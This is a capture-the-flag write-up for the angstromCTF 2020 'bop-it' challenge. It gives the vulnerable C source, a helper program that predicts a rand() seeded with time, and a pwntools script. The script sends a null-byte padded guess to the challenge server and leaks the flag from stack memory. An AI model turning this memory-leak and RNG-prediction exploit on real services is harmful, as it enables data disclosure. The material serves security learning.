nullbyte poisoning angstromCTF 2020 bop-it writeup
Published on 23 Mar 2020
this article explains about my writeup.
Description:
Can you bop it? Source. Connect with nc shell.actf.co 20702.
Author: kmh
Solution:
we are given elf binary , and a source code written in c
bop_it: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/l, BuildID[sha1]=47225f15fc7f75398783b4e93d65627f37711392,
for GNU/Linux 3.2.0, not stripped
this is the source code :
#include <stdlib.h>
#include <time.h>
#include <stdio.h>
#include <string.h>
int main () {
setvbuf ( stdin , NULL , _IONBF , 0 );
setvbuf ( stdout , NULL , _IONBF , 0 );
gid_t gid = getegid ();
setresgid ( gid , gid , gid );
const char * actions [] = { "Bop it! \n " , "Twist it! \n " , "Pull it! \n " , "Flag it! \n " };
srand ( time ( NULL ));
char c ;
char * action = actions [ rand () % 4 ];
write ( 1 , action , strlen ( action ));
while (( c = getchar ()) != EOF ) {
if ( ! strcmp ( action , actions [ 3 ])) {
char guess [ 256 ];
guess [ 0 ] = c ;
int guessLen = read ( 0 , guess + 1 , 255 ) + 1 ; //add to already entered char
guess [ guessLen - 1 ] = 0 ; //remove newline
char flag [ 32 ];
FILE * f = fopen ( "flag.txt" , "rb" );
int r = fread ( flag , 1 , 32 , f );
flag [ r ] = 0 ; //null terminate
if ( strncmp ( guess , flag , strlen ( flag ))) {
char wrong [ strlen ( guess ) + 35 ];
wrong [ 0 ] = 0 ; //string is empty intially
strncat ( wrong , guess , guessLen );
strncat ( wrong , " was wrong. Better luck next time! \n " , 35 );
write ( 1 , wrong , guessLen + 35 );
exit ( 0 );
}
} else if ( c != action [ 0 ]) {
char wrong [ 64 ] = "_ was wrong. What you wanted was _! \n " ;
wrong [ 0 ] = c ; //user inputted char
wrong [ strlen ( wrong ) - 3 ] = action [ 0 ]; //correct char
write ( 1 , wrong , strlen ( wrong ));
getchar (); //so there's no leftover newline
exit ( 0 );
} else { getchar (); }
action = actions [ rand () % 4 ];
write ( 1 , action , strlen ( action ));
}
}
we have to answer the correct question from
const char * actions [] = { "Bop it! \n " , "Twist it! \n " , "Pull it! \n " , "Flag it! \n " };
srand ( time ( NULL ));
char * action = actions [ rand () % 4 ];
till we got “Flag it!\n” as the answer , so the flag will loaded to the stack
and we can try to leak the flag by using null byte poisoning
this is my exploit to answer the correct question
#include <stdlib.h>
#include <time.h>
#include <stdio.h>
#include <string.h>
int main (){
srand ( time ( NULL ));
const char * actions [] = { "Bop it! \n " , "Twist it! \n " , "Pull it! \n " , "Flag it! \n " };
char c ;
char * action = actions [ rand () % 4 ];
write ( 1 , action , 1 );
// wrong[strlen(wrong)-3] = action[0];
// write(1, wrong, strlen(wrong));
}
and this is the python code to send our payload
#!/usr/bin/env python2
'''
author : tripoloski
visit : https://tripoloski1337.github.io/
mail : arsalan.dp@gmail.com
generated by skeloski GEF
'''
import sys
from pwn import *
import subprocess
context . update ( arch = "amd64" , endian = "little" , os = "linux" , log_level = "debug" ,)
LOCAL , REMOTE = False , False
TARGET = os . path . realpath ( "/home/tripoloski/code/ctf/angstrom2020/pwn/bop-it/bop_it" )
elf = ELF ( TARGET )
def attach ( r ):
if LOCAL :
bkps = []
gdb . attach ( r , ' \n ' . join ([ "break %s" % ( x ,) for x in bkps ]))
return
def exploit ( r ):
attach ( r )
guess = subprocess . Popen ([ './s' ] , stdout = PIPE ). communicate ()[ 0 ]
log . info ( "my guess : " + ( guess ))
p = guess
x = " \x00 " * 120 # 100 works , 120 works too
r . sendline ( p )
r . sendline ( x )
r . interactive ()
# r.recvline(timeout=0)
r . close ()
return
if __name__ == "__main__" :
if len ( sys . argv ) == 2 and sys . argv [ 1 ] == "remote" :
REMOTE = True
r = remote ( "shell.actf.co" , 20702 )
else :
LOCAL = True
r = process ([ TARGET ,])
exploit ( r )
sys . exit ( 0 )
and we got our flag
FLAG : actf{bopp1ty_bop_bOp_b0p}